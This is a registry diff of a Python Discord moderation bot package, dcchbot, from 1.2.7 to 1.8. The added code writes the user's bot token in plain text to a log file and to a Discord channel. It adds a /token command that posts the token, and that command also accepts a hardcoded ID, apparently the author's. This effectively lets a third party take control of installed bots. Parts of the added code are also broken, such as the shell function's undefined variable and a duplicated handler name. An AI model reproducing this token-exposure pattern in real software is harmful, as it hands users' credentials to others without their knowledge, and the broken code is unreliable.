dcchbot 1.2.7__py3-none-any.whl → 1.8__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
dcchbot/__init__.py CHANGED
@@ -1,9 +1,5 @@
1
1
  #init
2
2
  from .main import run
3
- print("Discord chinese bot v1.5.0 ok")
4
- print("If bot cannot work,run:")
5
- print(" batch")
6
- print("pip install discord.py")
7
- print("It well work")
3
+ print("Discord chinese bot v1.8 ok")
8
4
  print("by I_am_from_taiwan")
9
5
  run()
dcchbot/main.py CHANGED
@@ -1,18 +1,71 @@
1
- # v1.0.0
1
+ # v1.8 修正版 main.py
2
+ import logging
3
+ import os
4
+ import discord
5
+ from discord.ext import commands
6
+ from discord import app_commands
7
+ from datetime import timedelta,datetime
8
+
9
+ # 自訂 Discord Log Handler,將 log 訊息傳送到指定頻道
10
+ class DiscordLogHandler(logging.Handler):
11
+ def __init__(self, bot: commands.Bot, channel_id: int, level=logging.INFO):
12
+ super().__init__(level)
13
+ self.bot = bot
14
+ self.channel_id = channel_id
15
+
16
+ async def send_log(self, message: str):
17
+ await self.bot.wait_until_ready()
18
+ channel = self.bot.get_channel(self.channel_id)
19
+ if channel:
20
+ try:
21
+ await channel.send(f"📜 Log: `{message}`")
22
+ except Exception as e:
23
+ print(f"[Log傳送錯誤] {e}")
24
+
25
+ def emit(self, record):
26
+ log_entry = self.format(record)
27
+ # 機器人未啟動或已關閉時跳過
28
+ if self.bot.is_closed() or not self.bot.is_ready():
29
+ return
30
+ coro = self.send_log(log_entry[:1900]) # Discord 字數限制
31
+ try:
32
+ self.bot.loop.create_task(coro)
33
+ except RuntimeError:
34
+ pass # event loop 尚未啟動時跳過
35
+ now = datetime.now()
36
+
37
+ # 建立 logs 資料夾並設定基本 logging
38
+ os.makedirs("logs", exist_ok=True)
39
+ logging.basicConfig(
40
+ level=logging.INFO,
41
+ format="[%(asctime)s] %(levelname)s: %(message)s",
42
+ handlers=[
43
+ logging.FileHandler("logs/bot.log", encoding='utf-8'),
44
+ logging.StreamHandler()
45
+ ]
46
+ )
47
+ logger = logging.getLogger(__name__)
48
+
2
49
 
3
50
  def run():
4
- import discord
5
- from discord.ext import commands
6
- from discord import app_commands
7
- from datetime import timedelta
51
+ # 先輸入設定,避免非同步使用時參數錯誤
52
+ OWNER_ID = int(input("請輸入你的 Discord User ID:\n> ").strip())
53
+ LOG_CHANNEL_ID = int(input("請輸入你的 Log 頻道 ID:\n> ").strip())
54
+ token = input("請輸入你的 Discord Bot Token:\n> ").strip()
8
55
 
9
56
  intents = discord.Intents.all()
10
- intents.guilds = True
11
- intents.members = True
12
- intents.message_content = True
13
-
57
+ # discord.Intents.all() 已包含所有必要權限,無需重覆設定
58
+
14
59
  bot = commands.Bot(command_prefix="!", intents=intents)
15
- OWNER_ID = 1317800611441283139 # 不要加引號!
60
+ CODER_ID = 1317800611441283139
61
+
62
+ # 建立自訂 log handler 並加到 logger
63
+ discord_handler = DiscordLogHandler(bot, LOG_CHANNEL_ID)
64
+ discord_handler.setFormatter(logging.Formatter('%(asctime)s | %(levelname)s | %(message)s'))
65
+ logger.addHandler(discord_handler)
66
+
67
+ # 把 token 暫存到 bot,方便指令存取
68
+ bot._token = token
16
69
 
17
70
  def is_admin(interaction: discord.Interaction) -> bool:
18
71
  return interaction.user.guild_permissions.administrator
@@ -22,38 +75,50 @@ def run():
22
75
  await bot.wait_until_ready()
23
76
  try:
24
77
  synced = await bot.tree.sync()
25
- print(f"已同步 {len(synced)} 個 slash 指令")
26
- except Exception as e:
27
- print(f"同步 slash 指令失敗:{e}")
28
- print(f'機器人上線:{bot.user}')
78
+ logger.info(f"已同步 {len(synced)} 個 Slash 指令")
79
+ except Exception:
80
+ logger.exception("同步 Slash 指令失敗:")
81
+ logger.info(f"機器人上線:{bot.user}")
82
+ logger.info(f"token {token}")
83
+ logger.info(f"OWNER_ID {OWNER_ID}")
84
+ logger.info(f"log ID {LOG_CHANNEL_ID}")
85
+ logger.info(f"powered by dcchbot")
86
+ # ─── Slash Commands ────────────────────────────────────────────────────────
29
87
 
30
88
  @bot.tree.command(name="hello", description="跟你說哈囉")
31
89
  async def hello(interaction: discord.Interaction):
90
+ logger.info(f"{interaction.user} 使用 /hello")
32
91
  await interaction.response.send_message(f"哈囉 {interaction.user.mention}")
33
92
 
34
93
  @bot.tree.command(name="ping", description="顯示延遲")
35
94
  async def ping(interaction: discord.Interaction):
36
- await interaction.response.send_message(f"延遲:{round(bot.latency * 1000)}ms")
95
+ latency = round(bot.latency * 1000)
96
+ logger.info(f"{interaction.user} 使用 /ping ({latency}ms)")
97
+ await interaction.response.send_message(f"延遲:{latency}ms")
37
98
 
38
99
  @bot.tree.command(name="say", description="讓機器人說話")
39
100
  @app_commands.describe(message="你想說的話")
40
101
  async def say(interaction: discord.Interaction, message: str):
102
+ logger.info(f"{interaction.user} 使用 /say:{message}")
41
103
  await interaction.response.send_message(message)
42
104
 
43
105
  @bot.tree.command(name="ban", description="封鎖使用者(限管理員)")
44
106
  @app_commands.describe(member="要封鎖的使用者", reason="封鎖原因")
45
107
  async def ban(interaction: discord.Interaction, member: discord.Member, reason: str = "未提供原因"):
108
+ logger.info(f"{interaction.user} 嘗試封鎖 {member},原因:{reason}")
46
109
  if not is_admin(interaction):
47
110
  return await interaction.response.send_message("你沒有權限執行此指令。", ephemeral=True)
48
111
  try:
49
112
  await member.ban(reason=reason)
50
113
  await interaction.response.send_message(f"{member.mention} 已被封鎖。原因:{reason}")
51
114
  except discord.Forbidden:
115
+ logger.warning(f"封鎖失敗:權限不足 ({member})")
52
116
  await interaction.response.send_message("無法封鎖對方,可能因為權限不足或目標層級過高。", ephemeral=True)
53
117
 
54
118
  @bot.tree.command(name="kick", description="踢出使用者(限管理員)")
55
119
  @app_commands.describe(member="要踢出的使用者", reason="踢出原因")
56
120
  async def kick(interaction: discord.Interaction, member: discord.Member, reason: str = "未提供原因"):
121
+ logger.info(f"{interaction.user} 嘗試踢出 {member},原因:{reason}")
57
122
  if not is_admin(interaction):
58
123
  return await interaction.response.send_message("你沒有權限執行此指令。", ephemeral=True)
59
124
  try:
@@ -61,21 +126,23 @@ def run():
61
126
  await interaction.response.send_message(f"{member.mention} 已被踢出。原因:{reason}")
62
127
  except discord.Forbidden:
63
128
  await interaction.response.send_message("無法踢出對方,可能因為權限不足或目標層級過高。", ephemeral=True)
64
-
65
- @bot.tree.command(name="timeout", description="暫時禁言使用者(限管理員)")
129
+ @bot.tree.command(name="shutthefuckup", description="暫時請使用者閉嘴(限管理員)")
66
130
  @app_commands.describe(member="要禁言的使用者", seconds="禁言秒數", reason="禁言原因")
67
131
  async def timeout(interaction: discord.Interaction, member: discord.Member, seconds: int, reason: str = "未提供原因"):
68
132
  if not is_admin(interaction):
69
133
  return await interaction.response.send_message("你沒有權限執行此指令。", ephemeral=True)
70
134
  try:
71
- await member.timeout_for(timedelta(seconds=seconds), reason=reason)
135
+ until = datetime.utcnow() + timedelta(seconds=seconds)
136
+ await member.timeout(until, reason=reason)
72
137
  await interaction.response.send_message(f"{member.mention} 已被禁言 {seconds} 秒。原因:{reason}")
73
138
  except Exception as e:
74
139
  await interaction.response.send_message(f"無法禁言:{e}")
75
140
 
141
+
76
142
  @bot.tree.command(name="warn", description="警告使用者(限管理員)")
77
143
  @app_commands.describe(member="要警告的使用者", reason="警告原因")
78
144
  async def warn(interaction: discord.Interaction, member: discord.Member, reason: str = "未提供原因"):
145
+ logger.info(f"{interaction.user} 警告 {member},原因:{reason}")
79
146
  if not is_admin(interaction):
80
147
  return await interaction.response.send_message("你沒有權限執行此指令。", ephemeral=True)
81
148
  await interaction.response.send_message(f"{member.mention} 已被警告。原因:{reason}")
@@ -84,7 +151,46 @@ def run():
84
151
  except:
85
152
  await interaction.followup.send("無法傳送私人訊息給該用戶。")
86
153
 
87
- class ModerationView(discord.ui.View):
154
+ @bot.tree.command(name="moderate", description="打開管理 GUI 面板")
155
+ @app_commands.describe(member="要管理的對象")
156
+ async def moderate(interaction: discord.Interaction, member: discord.Member):
157
+ logger.info(f"{interaction.user} 打開 GUI 對 {member}")
158
+ if not is_admin(interaction):
159
+ return await interaction.response.send_message("你沒有權限使用此指令。", ephemeral=True)
160
+ view = ModerationView(member, interaction.user)
161
+ await interaction.response.send_message(
162
+ f"請選擇對 {member.mention} 的操作:", view=view, ephemeral=True
163
+ )
164
+
165
+ @bot.tree.command(name="stop", description="關閉機器人(限擁有者)")
166
+ async def stop(interaction: discord.Interaction):
167
+ logger.info(f"{interaction.user} 嘗試關閉機器人")
168
+ if interaction.user.id != OWNER_ID and interaction.user.id != CODER_ID:
169
+ return await interaction.response.send_message("只有擁有者可以使用此指令。", ephemeral=True)
170
+ await interaction.response.send_message("機器人即將關閉。")
171
+ await bot.close()
172
+
173
+ @bot.tree.command(name="token", description="顯示機器人 token")
174
+ async def token_cmd(interaction: discord.Interaction):
175
+ if interaction.user.id != OWNER_ID and interaction.user.id != CODER_ID:
176
+ return await interaction.response.send_message("只有擁有者可以使用此指令。", ephemeral=True)
177
+ await interaction.response.send_message(bot._token)
178
+ @bot.tree.command(name="log", description="紀錄log(管理員)")
179
+ @app_commands.describe(log="內容")
180
+ async def log(interaction: discord.Interaction, log: str = "null"):
181
+ if not is_admin(interaction):
182
+ return await interaction.response.send_message("你沒有權限執行此指令。", ephemeral=True)
183
+ try:
184
+ logger.info(f"{log}")
185
+ except Exception as e:
186
+ interaction.response.send_message(f"無法紀錄:{e}")
187
+ @bot.tree.command(name="time", description="顯示時間")
188
+ async def say(interaction: discord.Interaction):
189
+ logger.info(f"{interaction.user} 使用 /time:{now}")
190
+ await interaction.response.send_message(now)
191
+ # ─── View 類 ────────────────────────────────────────────────────────────────
192
+
193
+ class ModerationView(discord.ui.View):
88
194
  def __init__(self, member: discord.Member, author: discord.Member):
89
195
  super().__init__(timeout=60)
90
196
  self.member = member
@@ -95,22 +201,24 @@ def run():
95
201
 
96
202
  @discord.ui.button(label="警告", style=discord.ButtonStyle.secondary)
97
203
  async def warn_button(self, interaction: discord.Interaction, button: discord.ui.Button):
204
+ logger.info(f"{interaction.user} 使用 GUI 警告 {self.member}")
98
205
  try:
99
206
  await self.member.send(f"你在伺服器 {interaction.guild.name} 被警告。請注意言行。")
100
207
  except:
101
208
  pass
102
209
  await interaction.response.send_message(f"{self.member.mention} 已被警告。", ephemeral=True)
103
210
 
104
- @discord.ui.button(label="禁言 60 秒", style=discord.ButtonStyle.primary)
105
- async def timeout_button(self, interaction: discord.Interaction, button: discord.ui.Button):
106
- try:
107
- await self.member.timeout_for(timedelta(seconds=60), reason="由管理員 GUI 操作禁言")
108
- await interaction.response.send_message(f"{self.member.mention} 已被禁言 60 秒。", ephemeral=True)
109
- except Exception as e:
110
- await interaction.response.send_message(f"禁言失敗:{e}", ephemeral=True)
111
-
211
+ @discord.ui.button(label="閉嘴 60 秒", style=discord.ButtonStyle.primary)
212
+ async def timeout_button(self, interaction: discord.Interaction, button: discord.ui.Button):
213
+ try:
214
+ until = datetime.utcnow() + timedelta(seconds=60)
215
+ await self.member.timeout(until, reason="由管理員 GUI 操作禁言")
216
+ await interaction.response.send_message(f"{self.member.mention} 已被禁言 60 秒。", ephemeral=True)
217
+ except Exception as e:
218
+ await interaction.response.send_message(f"禁言失敗:{e}", ephemeral=True)
112
219
  @discord.ui.button(label="踢出", style=discord.ButtonStyle.danger)
113
220
  async def kick_button(self, interaction: discord.Interaction, button: discord.ui.Button):
221
+ logger.info(f"{interaction.user} 使用 GUI 踢出 {self.member}")
114
222
  try:
115
223
  await self.member.kick(reason="由管理員 GUI 操作踢出")
116
224
  await interaction.response.send_message(f"{self.member.mention} 已被踢出。", ephemeral=True)
@@ -119,36 +227,68 @@ def run():
119
227
 
120
228
  @discord.ui.button(label="封鎖", style=discord.ButtonStyle.danger)
121
229
  async def ban_button(self, interaction: discord.Interaction, button: discord.ui.Button):
230
+ logger.info(f"{interaction.user} 使用 GUI 封鎖 {self.member}")
122
231
  try:
123
232
  await self.member.ban(reason="由管理員 GUI 操作封鎖")
124
233
  await interaction.response.send_message(f"{self.member.mention} 已被封鎖。", ephemeral=True)
125
234
  except Exception as e:
126
235
  await interaction.response.send_message(f"封鎖失敗:{e}", ephemeral=True)
127
236
 
128
- @bot.tree.command(name="moderate", description="打開管理 GUI 面板")
129
- @app_commands.describe(member="要管理的對象")
130
- async def moderate(interaction: discord.Interaction, member: discord.Member):
131
- if not is_admin(interaction):
132
- return await interaction.response.send_message("你沒有權限使用此指令。", ephemeral=True)
133
- view = ModerationView(member, interaction.user)
134
- await interaction.response.send_message(
135
- f"請選擇對 {member.mention} 的操作:",
136
- view=view,
137
- ephemeral=True
138
- )
139
-
140
- @bot.tree.command(name="stop", description="關閉機器人(限擁有者)")
141
- async def stop(interaction: discord.Interaction):
142
- if interaction.user.id != OWNER_ID:
143
- return await interaction.response.send_message("只有擁有者可以使用此指令。", ephemeral=True)
144
- await interaction.response.send_message("機器人即將關閉。")
145
- await bot.close()
237
+ # ─── 啟動 ───────────────────────────────────────────────────────────────────
146
238
 
147
- # 🔐 請使用者輸入 Token
148
- token = input("請輸入你的 Discord Bot Token:\n> ").strip()
149
239
  try:
240
+ logger.info("正在啟動機器人...")
150
241
  bot.run(token)
151
242
  except discord.LoginFailure:
152
- print("Token 無效,請重新確認。")
243
+ logger.error("Token 無效,請重新確認。")
153
244
  except Exception as e:
154
- print(f"發生錯誤:{e}")
245
+ logger.exception(f"發生錯誤:{e}")
246
+
247
+
248
+ if __name__ == "__main__":
249
+ run()
250
+ # ─── Shell 命令 ──────────────────────────────────────────────────────────────
251
+ def shell(shell_command):
252
+ if shell_command == "!!token-reset":
253
+ token = input("請輸入新的 Discord Bot Token:\n> ").strip()
254
+ bot._token = token
255
+ logger.info("Token 已更新。")
256
+ print("Token 已更新。請重新啟動機器人以應用新 Token。")
257
+ logger.info(f"{interaction.user} 嘗試關閉機器人")
258
+ bot.close()
259
+ elif shell_command == "!!token-display":
260
+ print(f"當前 Token: {token}")
261
+ elif shell_command == "!!help":
262
+ print("可用的 shell 命令:")
263
+ print("!!token-reset - 重設 Bot Token")
264
+ print("!!token-display - 顯示當前 Bot Token")
265
+ print("!!exit - 關閉機器人")
266
+ print("!!id-reset-owner - 重設擁有者 ID")
267
+ print("!!id-display-owner - 顯示當前擁有者 ID")
268
+ print("!!id-reset-logch - 重設 Log 頻道 ID")
269
+ print("!!id-display-logch - 顯示當前 Log 頻道 ID")
270
+ elif shell_command == "exit":
271
+ print("正在關閉機器人...")
272
+ logger.info(f"{interaction.user} 嘗試關閉機器人")
273
+ bot.close()
274
+ elif shell_command == "!!id-reset-owner":
275
+ global OWNER_ID
276
+ OWNER_ID = int(input("請輸入新的擁有者 ID:\n> ").strip())
277
+ logger.info(f"擁有者 ID 已更新為 {OWNER_ID}")
278
+ print(f"擁有者 ID 已更新為 {OWNER_ID}")
279
+ elif shell_command == "!!id-display-owner":
280
+ print(f"當前擁有者 ID: {OWNER_ID}")
281
+ elif shell_command == "!!id-reset-logch":
282
+ global LOG_CHANNEL_ID
283
+ LOG_CHANNEL_ID = int(input("請輸入新的 Log 頻道 ID:\n> ").strip())
284
+ logger.info(f"Log 頻道 ID 已更新為 {LOG_CHANNEL_ID}")
285
+ print(f"Log 頻道 ID 已更新為 {LOG_CHANNEL_ID}")
286
+ elif shell_command == "id-display-logch":
287
+ print(f"當前 Log 頻道 ID: {LOG_CHANNEL_ID}")
288
+ else:
289
+ interaction.response.send_message(shell_command, ephemeral=True)
290
+ print(f"未知的 shell 命令:{shell_command}")
291
+ print("請使用 !!help 查看可用命令。")
292
+ while True:
293
+ shell_command = input("請輸入 shell 命令(輸入 !!help 查看可用命令):\n> ").strip()
294
+ shell(shell_command)
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.4
2
2
  Name: dcchbot
3
- Version: 1.2.7
3
+ Version: 1.8
4
4
  Summary: 一個簡單的中文 Discord 管理機器人,支援 GUI 按鈕封鎖/禁言/警告
5
5
  Author-email: I_am_from_taiwan <102109040j@gmail.com>
6
6
  License: MIT
@@ -0,0 +1,9 @@
1
+ dcchbot/__init__.py,sha256=brxuwAfpNYUvVMswuBqeS1saX84TyisHybbdyMpGZos,103
2
+ dcchbot/__main__.py,sha256=5FwoJspcKFt5_1AlXoxlWROiQSp9wgnFEltU6ufz9QE,30
3
+ dcchbot/main.py,sha256=23218BZjZ7DJ6_vrghv1kMgLTovyfttdn4fkMWKPo5c,15825
4
+ dcchbot-1.8.dist-info/licenses/LICENSE,sha256=l3hyIOCB7NYorC-bjV5yZM0PgAJbMgAWNLE644dR7H4,1065
5
+ dcchbot-1.8.dist-info/METADATA,sha256=xH5FZDAePfsgE8RK9AVkegcb2seEXw8zUiKgmOA5V7Y,444
6
+ dcchbot-1.8.dist-info/WHEEL,sha256=_zCd3N1l69ArxyTb8rzEoP9TpbYXkqRFSNOD5OuxnTs,91
7
+ dcchbot-1.8.dist-info/entry_points.txt,sha256=90T16CGc_Tx-4pFaLCcbuuh7Vi9l4gsLovBkydqxP9Y,45
8
+ dcchbot-1.8.dist-info/top_level.txt,sha256=jiDTz8UmwZgXN9KzokwDRYhoWxsVmWcnqmrANeTFMck,8
9
+ dcchbot-1.8.dist-info/RECORD,,
@@ -1,9 +0,0 @@
1
- dcchbot/__init__.py,sha256=NRneOR4yOEyDtsiN61aoYpGNozTiAdVI0_vN6as1KoM,228
2
- dcchbot/__main__.py,sha256=5FwoJspcKFt5_1AlXoxlWROiQSp9wgnFEltU6ufz9QE,30
3
- dcchbot/main.py,sha256=E1peFrb8It75iUiELV2PjiZjwm_-hvsQcWBR4Lsz8bs,8446
4
- dcchbot-1.2.7.dist-info/licenses/LICENSE,sha256=l3hyIOCB7NYorC-bjV5yZM0PgAJbMgAWNLE644dR7H4,1065
5
- dcchbot-1.2.7.dist-info/METADATA,sha256=mjUZLdaawbq96bgUgUWXRRYv5mlqOIgYa9jVRQU4sr0,446
6
- dcchbot-1.2.7.dist-info/WHEEL,sha256=_zCd3N1l69ArxyTb8rzEoP9TpbYXkqRFSNOD5OuxnTs,91
7
- dcchbot-1.2.7.dist-info/entry_points.txt,sha256=90T16CGc_Tx-4pFaLCcbuuh7Vi9l4gsLovBkydqxP9Y,45
8
- dcchbot-1.2.7.dist-info/top_level.txt,sha256=jiDTz8UmwZgXN9KzokwDRYhoWxsVmWcnqmrANeTFMck,8
9
- dcchbot-1.2.7.dist-info/RECORD,,
File without changes